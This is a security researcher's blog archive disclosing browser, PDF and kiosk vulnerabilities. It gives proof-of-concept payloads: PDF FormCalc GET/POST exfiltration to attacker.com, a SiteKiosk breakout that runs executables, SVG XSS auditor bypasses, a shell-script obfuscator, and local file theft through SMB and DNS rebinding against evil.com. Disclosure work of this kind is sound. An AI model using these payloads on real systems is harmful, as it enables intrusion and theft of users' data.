Tuesday, May 26, 2015

PDF - Mess with the web

PDF - Mess with the web

In this post I am going to talk about the vulnerabilities I found during the research for my AppSec Talk in Amsterdam.


Javascript execution via GotoE

PDF supports a lot of different Actions. These actions can be used to execute PDFs Javascript, change the location of the document, open a print dialog etc.
One of the action is the so called GotoE action. This action is able to change the location of the document eg. /GotoE /F (http://example.com). Normally handlers like javascript: are forbidden to prevent XSS attacks. This protections seems not in place if a PDF is loaded via an <embed> or <object> tag. If a PDF specifies a location like /GotoE /F (javascript:alert(location)) the javascript will be executed in the context of the embedding page.

Formcalc and header manipulation

I already wrote about the capability of formcalc to read same origin files.
The formcalc language offers another feature, which is quite powerful.
The POST function has five parameters, the last one lets you specify any http headers you want. You can set ANY header you want (besides the USER-Agent) and they replace the header a browser would send normally like a different Host header, Content-Type, Content-Length, Referer etc.

Note: You can use this so send specially crafted requests cross origin, as long as you don't care about the response. When a POST with custom headers is sent same origin but the response is a 307 temp. redirect, Acrobat Reader will follow the redirect, preserve the headers and send the request but you won't be able to read the response.
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% a little bit modified to show possible header injection via formcalc

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">

    <subform name="_">
        <field id="Hello World!">
            <event activity="initialize">
                <script contentType='application/x-formcalc'>
                    Post("http://sameOrigin.com/index.html","YOUR POST DATA","text/plain","utf-8","Content-Type: Dolphin&#x0d;&#x0a;Test: AAA")

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
            /XFA 1 0 R
        /Pages <<>>


I found two possible ways to use external entities in PDF. The payloads are good documented in my presentation so I am not going to describe here more.


To protect yourself it is recommended to enable the Protected View in Adobes security settings. This will prevent the presented XXEs attacks. It is also possible to disable the Javascript support in the pdf reader. Most PDFs should work fine without the support of JS.

Tuesday, April 21, 2015

VBScript Support in Spartan

Windows 10 - Spartans forgotten VBScript support

Taken from:
 [...] Gone were document modes. Removed was the subsystem responsible for emulating IE8 layout quirks. VBScript eliminated. 

I really liked to read that Spartan finally dropped VBScript support completely. But of course I was curious if this is really the case. Maybe they have forgotten a feature, in a different context than html, which supports VBScript too.
Because you are reading this blog entry right now it is obvious they did ;)


I was playing around with XML and XSLT and the possible attack vectors when I came across this interesting msdn page: msxsl:script.

Internet Explorer and Spartan support a tag in XSLT, which is called msxsl:script. It can be used to call JScript or VBscript in XSLT and use the return value.
You don't have access to the DOM etc, but native VBScript functions still work in Spartan.

Note: IE 11 in Edge mode will execute the VBScript too.


<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="xml_stylesheet.xsl" type="text/xsl"?>
  <title>Empire Burlesque</title>
  <artist>Bob Dylan</artist>

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
<msxsl:script language="VBScript" implements-prefix="user">
Function xml()
 xml = Timer
End Function
<xsl:template match="/">
  <h2><xsl:value-of select="user:xml()"/>My CD Collection</h2>
    <table border="1">
      <tr bgcolor="#9acd32">
        <th style="text-align:left">Title</th>
        <th style="text-align:left">Artist</th>
      <xsl:for-each select="catalog/cd">
        <td><xsl:value-of select="title"/></td>
        <td><xsl:value-of select="artist"/></td>

<html xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
<h2>55791.859375My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th style="text-align:left">Title</th>
<th style="text-align:left">Artist</th>
<td>Empire Burlesque</td>
<td>Bob Dylan</td>

Saturday, December 13, 2014

Multiple PDF Vulnerabilities - Text and Pictures on Steroids

@irsdl brought two import links to my attention:
2010 formcalc: http://t.co/6OfGLa9Cu1
2013 XXE + SOP Bypass: http://t.co/VZMSVg3HtN

It seems like Adobe knew about the SOP issue since January 2013.
I rediscovered the SOP Bypass + formcalc feature.

I had the pleasure to talk at the HackPra in Bochum on 22.10 this year.
My topic was about Adobe Reader and the vulnerabilites I found in version 11.0.09. The Adobe PSIRT team asked me to wait until they released a patch for the presented issues.
Adobe was informed on the 7th of Oktober and now the patch finally arrived. The link of the hackpra talk will be posted here and on twitter(@insertscript) as soon as it is available on youtube.

Important Note: If you want to test a PoC, your IE needs to be configured to open PDFs inside the browser. Sometimes IE opens PDFs outside of the browser context, which breaks PoCs, which rely on this context.

GotoE or GotoR - No Protocol Restrictions

Status: Unfixed
Reality: 50% fixed

The PDF standards defines a list of valid ActionTypes. Two of them, GotoE and GotoR, are used to
tell PDF to load PDFs from a different location.
Adobe Readers does not enforce protocol restriction correctly, which makes it possible to change the location to
file:///,mk-its: etc. They fixed it for GotoR but GotoE still works.
In context of webbrowsers it gives you the possibility to iframe the local file system etc.
Javascript and VBscript were forbidden, so no XSS possibility :/

1 0 obj
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R

7 0 obj
 /Type /Action
/S /GoToE /F (file:///C:/) /D (Chapter 1)

Reader 11 vulnerability in predefined privileged Javascript functions (CVE-2014-8451)

Status: fixed
Reality: fixed

Before I am going to explain the vulnerability you should have a look at another vulnerability
in the privileged Javascript functions this year. It explains the concept of privileged Javascript very well

There are two major steps to get privileged Javascript execution:
1) Get our function marked as a trusted or trust propagator function
2) After it is marked as a trust propagator, get it called by an already trusted function.

The first step is achieved via calling the function app.trustPropagatorFunction with a function as the parameter.
To be able to use it, you already need to be in a trusted code execution. It sounds unrealistic to pass all these requirements,
but one specific predefined function helped a lot. See yourself:

The only use of this function is to iterace over an object and mark all properties, which are functions, as a trustpropagator function.
Lets say, this wasn't the best idea ;)
The first major step is done.
Now we need to get a trusted function to call our marked function. If you are familiar with Javascript you know that this is not that difficult to achieve.
Lets have a look at the following pre defined function:

We can influence doc.path.match and let it point to our trustedproperty function.
As soon as it gets called, we are in privileged Javascript mode, so we can read local files as an example.
The PoC reads a local file from C:\test.txt:

Fix: It seems like Adobe disabled/protects app.trustPropagatorFunction, because it triggers a security exception now.

Javascript function in Reader can be used to read data from external entities (CVE-2014-8452)

Status: Fixed
Reality: Not Fixed

This one is about a simple XXE I discovered.
I read the paper "Polyglots: Crossing Origins by Crossing Formats", where they discussed a vulnerability in
XMLData.parse. It was possible to use external entities and reference them.
I read the specification and it turns out there are more functions than "parse" to read XML.
I created a simple xml file, which references an url from the same domain and parsed it with loadXML.
It worked:


The Impact is limited because
 o) it is limited to same origin
 o) HTML Pages break the xml
 o) Dynamic Entities are not supported
 o) I had the idea to use a utf-16 xml to avoid breaking the xml structure, but I it didn't work.

But it still can be used to read JSON.

Same origin policy bypass in Reader (CVE-2014-8453)

Status: fixed
Reality: fixed but same origin still vulnerable!

In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you
how powerful/terrifying PDF can be.
Many people know that PDF supports a scripting language called Javascript but there is another one.
It is mentioned in the specification for XFA, a file type also supported by the adobe reader.
It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification
there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves.
'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it.
We can then use 'POST' to send the return content to our own server:

var content = GET("myfriends.php");

These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for
most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products.

To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website,
you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued
by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens.


After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser
as a proxy (@beef still working on the module^^)

The bypass is really simple:

1. User A loads evil.pdf from http://attacker.com/evil.pdf
2. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php
3. redirect.php redirects with 301 to http://facebook.com
4. Adobe reader will follow and read the response without looking for a crossdomain.xml.
5. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php

This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too.

Tuesday, September 16, 2014

SiteKiosk - Breakout

SiteKiosk - Breakout

It has been a while since my last blog post, therefore I am going to share two possible bypasses for the software SiteKiosk on Windows. As the name suggests, it is a kiosk software ^^.
SiteKiosk is a software from Provision GmbH. It claims to have more than 250.000 installations world wide, which would make it to one of the most used software in the "Public Access Terminal Software" category.
It has a lot of features, but my only goal was to break out of the sandbox and start an external application.
In the end my findings produced a new beef modules.

Meet the enemy

Provision GmbH offers a trial version, which has nearly all features enabled. The only restriction is that it will sometimes annoy you with a 30 second timeout.
It uses IE as a rendering engine and has support for flash + PDF. So there is a lot to play with ;)

SiteKiosk greeting message

The Bypasses

Step one: Get a file on the file system
Step two: Execute it!

Getting a file on the system

After some tests it turned out that SiteKiosk is pretty good at blocking any dialogs which are triggered by changing the location. It also blocks all of the handlers I tested like "its:" and "file:". Additionally it checks iframes too and blocks any dialogs.
But javascript is powerful and with this "power" comes the possibility to trigger downloads ;).
The function I am talking about is window.navigator.msSaveOrOpenBlob.
The first parameter is a blob, which represents the data. The second parameter is the file name

bb = new MSBlobBuilder();
bb.append("THE DATA");

Click Download and the first step is done.

But there is another bypass, which is also really simple. I thought if javascript is able to trigger downloads, there is most likely another language, maybe a plugin, which could do the same.
Of course I am talking about flash and actionscript. Like javascript it can trigger a download dialog, which is not blocked by the sitekiosk sandbox. I will give an example code at the end of the text.
Next step, find a place to save the file and execute it.

Execution time


So you can download file, whats next? There are different things you can do. In case of a download triggered by javascript, you need to find a location where you can save and execute an executable. I chose "C:\users\public\downloads". Most of the time the download dialog won't let you specify the location. To bypass this restriction, use shell:ProgramFiles in the address bar of the download dialog. It will change the address bar to "C:\Program Files". Now you can go back to C: and specify the location.

If you are lazy, you can trigger a download of a .hta file. HTA files are html applications, which are rendered by mshta.exe. Yes, by default it is not blocked. HTA are html files with all the power, which means they can execute any ActiveX Object. Additionally it does not matter where you save them, because they are interpreted by mshta.exe and not executed in the location they are saved (in contrast to .exe).


In case of flash you will see that after finishing the download there is no no run button and no dialog at all. In contrast to JavaScript, this behavior makes it more difficult to execute a file.
Another problem is that you can't do a double click in a download window, so you can't download a .exe, reopen the download window and double click it. But there is a way around this problem too.
To execute a .exe via a flash download do the following:
  1. Trigger the download via flash. Save the exe in any location.
  2. Trigger the download again. Rename the previously downloaded exe so that it will not be overwritten by the second download. So you end up with two executables in the same location.
  3. Open the download window a last time. But instead of specifying a location to save, you drag the icon of one executable into the other one. This will start the program and the other one is treated as an argument. It is like dragging a file into notepad.exe to open it. 

This trick only works for executables. But there is another way to start interpreted files like hta:

  1. Create on your local pc a lnk (a shortcut file), which points to "C:\windows\system32\mshta.exe". Trigger the download of this file via flash.
  2. Trigger the download of your hta script file. Save it in the same location as the previous downloaded file.
  3. Open the download window. Now you drag your .hta script file into the mshta.exe.lnk file. This will pass the file to the real mshta.exe, which is then executed. 


To protect your sitekiosk application you need to do 2 things.
First you need to block all possible script applications like mshta. This can be done with the System Security Assistent.
Second you need to lock down all location where it is possible to store and execute files. An example is C:\users\public\downloads.

Wednesday, February 5, 2014

SVG Fun Time - Firefox SVG Vector + Bypassing Chrome XSS Auditor

I played around with SVG and the <use> element and found some interesting things, which I want to share. I do not know if anyone already posted some information about that. Let me know, if there is already information out there :)

SVG - <use> element

The <use> element is used in SVG to reuse other elements. It is mainly used in combination with <defs> and alike. However we are going to use it to reference elements in an external SVG file.
Elements are referenced by their id prepended with a '#' sign inside the xlink:href attribute of the <use> tag.
This needs to be done for external elements too.

Basically the structure looks like this:

<use xlink:href='external.svg#rectangle' />

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />

The file external.svg starts with a <svg> tag with the id set to rectangle, which draws a rectangle by using the <rect> tag. It is possible to surround the <rect> element with a <a> tag, which creates a  Hyperlink. By using the JavaScript url scheme the click-able Hyperlink will execute JavaScript, when clicked.

Even if the SVG is loaded via a <use> tag, the JavaScript will be executed. It is important to note that it is only possible to load SVG files, which are residing on the same origin.

Because it is mandatory that the loaded external SVG is same origin, this features seems not like a good XSS attack vector.
But Firefox really helps to improve this attack vector.
First of all, you can use the data: url scheme. It allows us to create a file internally, on the fly. It requires the correct mime-type, which is image/svg+xml. The mime-type is either followed by the payload or by the keyword base64. It specifies, that the data is base64 encoded, which helps avoiding problems breaking the HTML structure.
Now we do not have to rely on another file on the same server:

<use xlink:href="data:image/svg+xml;base64,
mc+#rectangle" />

Decoded base64 payload:
<svg id="rectangle" 
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />

Again the browser will display a black rectangle, which will alert the location when clicked.

But why bothering the victim to click anything. They never do what they should do ;).
<script> tags in external.svg are not parsed, but SVG supports the <foreignObject> element.
By specifying the required extensions attribute of this object, it is possible to load non SVG elements.
This means it is now possible to use <iframe>,<embed> and all the other supported HTML elements. We can try a bunch of elements to execute JavaScript.
I chose the <embed> tag + JavaScript URL scheme.

Assume the following SVG:
<svg id="rectangle"
width="100" height="100">


<foreignObject width="100" height="50"

<embed xmlns="http://www.w3.org/1999/xhtml" 
src="javascript:alert(location)" />


It will load via the <foreignObject> the embed tag, which uses a JavaScript URL scheme to execute JavaScript.
Again we base64 encode the payload to load it via the data: scheme.

<use xlink:href="data:image/svg+xml;base64,
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />

In the case that test.html is opened in Firefox, it will alert the location.
So we have another vector in SVG to execute JavaScript :)

As a side not, the payload also contains a <script>alert(1)</script>, which should proof that <script> tags are not parsed.

XSS Auditor Bypass

Let us use this feature against Chrome. Chrome does not support the data: URL scheme inside the xlink:href attribute of the <use> tag.
Additionally I did not find a way to execute JavaScript without user interaction. 
But at least I can give you a Blink/Webkit XSS Auditor bypass with user interaction.
No Parameter Pollution is used and only one parameter is necessary. This is mentioned, because Blink/Webkit XSS Auditor does not catch XSS attacks, which are broken-up into two or more parameters.

Assume the following PHP script:
echo "<body>";
echo $_GET['x'];
echo "</body>";

The script is vulnerable to XSS.
But using a payload like 
http://vulnerabledoman.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg> will trigger the XSS Auditor.
So let us use the <use> element!

Creating the
SVG on the fly

We want to load another external SVG file, so we begin with <svg><use xlink:href=
But wait, it has to be same origin and we can't use the data scheme. How do we get a file on the server?
It is simple, we use the XSS vulnerability twice in a row!

First we build the URL, which crafts the the SVG, which contains the Javascript URL scheme:
x=<svg id="rectangle" 
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100" />
If you paste this URL (with the correct ip;) into a browser, with no XSS filter, it will display the black rectangle again. But I already mentioned, that
XSS Chrome Auditor will catch this attack. Let us continue.

Now we are going to use the created SVG file (green URL) in the <use> element. The now crafted URL will look like this:
x=<svg><use height=200 width=200
?x=<svg id="rectangle"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100"/>

Do not forget to url encode:

This will display the rectangle again, which will alert when clicked, but this time without triggering the XSS Auditor :)
Hope you enjoyed my bypass.

Tuesday, November 12, 2013

Non Alpha Numeric Shellscript

Making your shell script non alpha numeric

Ever had the need to obfuscate your complete shellscript by using non alpha numeric code? Now there is a tool for that ;) 

I already wrote some time ago about how to start writing non alpha numeric shellscript, but this would not support shell internals like if statements etc. But some days ago I found out that there exists an eval in bash, which makes it possible to support shell internals.

The basic steps my script does are the following:
1. Get via Regex enough characters to build echo -e \0
2. Increase a counter
3. Concat the counter with echo -e \0 to create needed characters
4. Step 3 is repeated to get every character. 
5. create eval
6. concat all characters and pass them to eval

Take this shellscript as an example:

echo "Enter the password: ";
read test;
if [ $test == "correct" ]; then echo "You cracked it;)"; else echo "HAHA, wrong!"; fi

After processing it, it will look like this (abbreviated)

. .
__________=${______}${________}${_________}${_______}" -"${______}" "\\$[___-___] ___=$[++___]
$______________________________$____________________________________________$___________________________$____________________________________ $($__________ $______________________________$____________________________$_________________________________$______________________________________$___________$_____________$_____________________$_____________________________________$__________________________________________$______________________________$________________________________________$___________$__________________________________________$_________________________________$______________________________$___________$_______________________________________$___________________________$_________________________________________$_________________________________________$_____________________________________________$______________________________________$________________________________________$_____________________________$_________________$___________$_____________$__________________$_________________________$_____________________________________$________________________________________$______________________________$___________________________$_____________________________$___________$__________________________________________$______________________________$_________________________________________$__________________________________________$__________________$_________________________$_____________________________________$__________________________________$_______________________________$___________$________________________$___________$______________$__________________________________________$______________________________$_________________________________________$__________________________________________$___________$___________________$___________________$___________$_____________$____________________________$______________________________________$________________________________________$________________________________________$______________________________$____________________________$__________________________________________$_____________$___________$__________________________$__________________$___________$__________________________________________$_________________________________$______________________________$_____________________________________$___________$______________________________$____________________________$_________________________________$______________________________________$___________$_____________$_______________________$______________________________________$___________________________________________$___________$____________________________$________________________________________$___________________________$____________________________$___________________________________$______________________________$_____________________________$___________$__________________________________$__________________________________________$__________________$_______________$_____________$__________________$___________$______________________________$____________________________________$_________________________________________$______________________________$___________$______________________________$____________________________$_________________________________$______________________________________$___________$_____________$______________________$____________________$______________________$____________________$________________$___________$_____________________________________________$________________________________________$______________________________________$_____________________________________$________________________________$____________$_____________$__________________$___________$_______________________________$__________________________________$_________________________$_____________________________________)

The usage is very simple:
python obfuscate.py <pathtoshellscript>

It will create a new file called nonalpha.sh
If you want to play around with it, get it here:

Friday, September 27, 2013

IE Intranet Zone - stealing local files

The idea to create this attack came to my mind, when I figured out that the Intranet Zone is allowed to iframe local files via UNC Syntax:


If we know the location of a file, it could be possible to read it.

So lets start:

Getting into the Intranet Zone

!To be clear, the Intranet Zone only exists if your workstation is in a domain. That's why this attack only works in a corporate network.

The idea for this was taken from here click. Basically you can misuse websites, hosted on Top Level Domains, to achieve the effect of an Intranet Zone. There are websites on io or uz.
Misuse means we need to find a XSS hole in the site (which is not the problem ;). A second option is to buy a TLD, which costs 185 000$, so I sticked to XSS.
Additionally you have to remember, that Internet Explorer has a built in reflected XSS filter. Because I did not want to stop creating this attack because of a XSS filter, I tried to bypass it. I succeeded, but I am not going to publish the bypass until its fixed.
So by combining a XSS vulnerability and a website hosted on a TLD, I achieved intranet privileges. The next step introduces SMB.

!Important side notes:
Websites on a TLD will be forbidden:

A website on a TLD is only resolvable in a corporate network, if the windows server is not the one resolving it. Windows DNS Server does not resolve A entries for TLD, the reason for this behavior is described here.

Additionally, do not iframe the intranet zone. If the victim visits your site like www.example.com, you must not load e.g. http://io in an iframe, use a popunder instead. If you iframe it, the attack will fail, because www.example.com (internet zone) has protected mode by default enabled and by iframing you apply protected mode to the intranet (even if it has protected mode disabled).

Next step: SMB

After getting script execution inside the intranet zone, all I have to do is load a html file from a smb share. 

The syntax to load a smb share is the following: \\<server>\<share>\<path>
So lets do this:
<iframe src=\\www.evil.com\C$\index.html></iframe>

This loads a file on a smb share, controlled by me. To be able to do this, the client needs to be allowed to create connections to port 445 in the internet.
The share needs to be named C$, because Internet Explorer uses the server name+share as the host to enforce the same origin policy. We will see later on why this is important.

DNS Rebinding is such a nice thing

The index.html is loaded and ready to attack. All it wants to do is loading an iframe:
<iframe src=\\www.evil.com\C$\Users\hans\Desktop\steal.txt></iframe>

But this time I do not want www.evil.com to point to a server in the internet, I want access to the local machine. To achieve this I am using DNS Rebinding. Normally DNS Rebinding is used to attack servers/routers in the LAN, by mapping the same domain name to a local ip address. I use it a little bit different:

After the index.html gets loaded, the firewall @www.evil.com blocks all TCP connections. Additionally the record for www.evil.com is changed from A to CNAME localhost record.
If index.html now loads the iframe, which points to www.evil.com, the browser reuses the saved IP, and tries to connect to Because all TCP connections are blocked, the browser drops the saved IP and initiate a new DNS request for www.evil.com. This behavior is called Anti-DNS Pinning.
The DNS server now response with the CNAME entry to localhost.
Now www.evil.com got rebinded to localhost, which is why the iframe now connects to the locale smb share C$ to load the path Users\hans\Desktop\steal.txt

To finish index.html can access the innerHTML of the loaded iframe, because the SOP is fulfilled.
The hostname is the same (www.evil.com) and the share name too (C$). Now it should be clear, why you must use C$ as the share name. After getting the innerHTML (the content of the file) it is really easy to send it via javascript to the attacker.

If you are familiar with DNS Rebinding you maybe wondering why I use a CNAME record instead of returning for www.evil.com. The reason is, that it only works with the CNAME entry ;)
I think IE uses the hostname+username to connect to smb shares and hans@www.evil.com is not a valid user, but hans@localhost is.
One could ask me how I know the username in the path. I do not have to guess it, it gets transmitted in the SMB connection while loading the index.html file.

Protection & Improvements

To protect yourself you can either forbid port 445 to the internet (which you really should!!), or use the windows server as your main DNS server.
But the easiest way to protect you, is to enable protected mode for the intranet zone.
If you do not block port 445, I should mention the information posted here. The same thing happens during this attack, while loading the index.html from www.evil.com.

The improvements: I tried to implement this attack by using WebDav(Port 80). It uses the exact same syntax as SMB shares, so the SOP would make no problem. But if the index.html gets loaded via WebDav, the access to local files fails. It could be that IE is "smart" and uses the same port again, which means it tries to connect to localhost\C$ via WebDav too. I am still working on this issue.

Heres a Poc Video. You see that load.com loads a intranet side (the popunder does not work for me :(   ), which alerts the content of the local file. It takes so long, because the  is far frome being optimized.

See the PoC here

Thats it for you, the next attack will follow soon :)